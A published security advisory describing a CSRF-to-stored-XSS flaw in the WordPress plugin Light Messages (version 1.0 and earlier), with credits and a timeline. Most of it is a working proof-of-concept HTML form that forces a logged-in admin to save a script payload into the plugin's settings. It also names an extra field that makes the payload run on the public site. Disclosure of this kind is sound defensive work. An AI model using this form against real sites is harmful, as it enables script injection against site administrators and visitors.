WordPress Plugin Vulnerabilities

Light Messages <= 1.0 - CSRF to Stored XSS

Description

The plugin is lacking CSRF check when updating it's settings, and is not sanitising its Message Content in them (even with the unfiltered_html disallowed). As a result, an attacker could make a logged in admin update the settings to arbitrary values, and set a Cross-Site Scripting payload in the Message Content. Depending on the options set, the XSS payload can be triggered either in the backend only (in the plugin's settings), or both frontend and backend.

Proof of Concept

XSS only in backend:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=light_messages" method="POST">
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="frequency" value="0" />
      <input type="hidden" name="custom_frequency" value="0" />
      <input type="hidden" name="custom_frequency_type" value="0" />
      <input type="hidden" name="auto_closing" value="50" />
      <input type="hidden" name="content" value="Test<img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="bg_opacity" value="0" />
      <input type="hidden" name="position_left" value="2.00" />
      <input type="hidden" name="position_top" value="2.00" />
      <input type="hidden" name="design" value="default|white" />
      <input type="hidden" name="fontfamily" value="0" />
      <input type="hidden" name="fontsize" value="15" />
      <input type="hidden" name="box_size_width" value="" />
      <input type="hidden" name="box_size_width_type" value="0" />
      <input type="hidden" name="box_size_height" value="" />
      <input type="hidden" name="box_size_height_type" value="0" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To have XSS triggered in both frontend and backend, add <input type="hidden" name="active" value="on" />

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Vinay Bhuria
Submitter
Vinay Bhuria
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-07-19 (about 2 years ago)
Added
2021-07-19 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other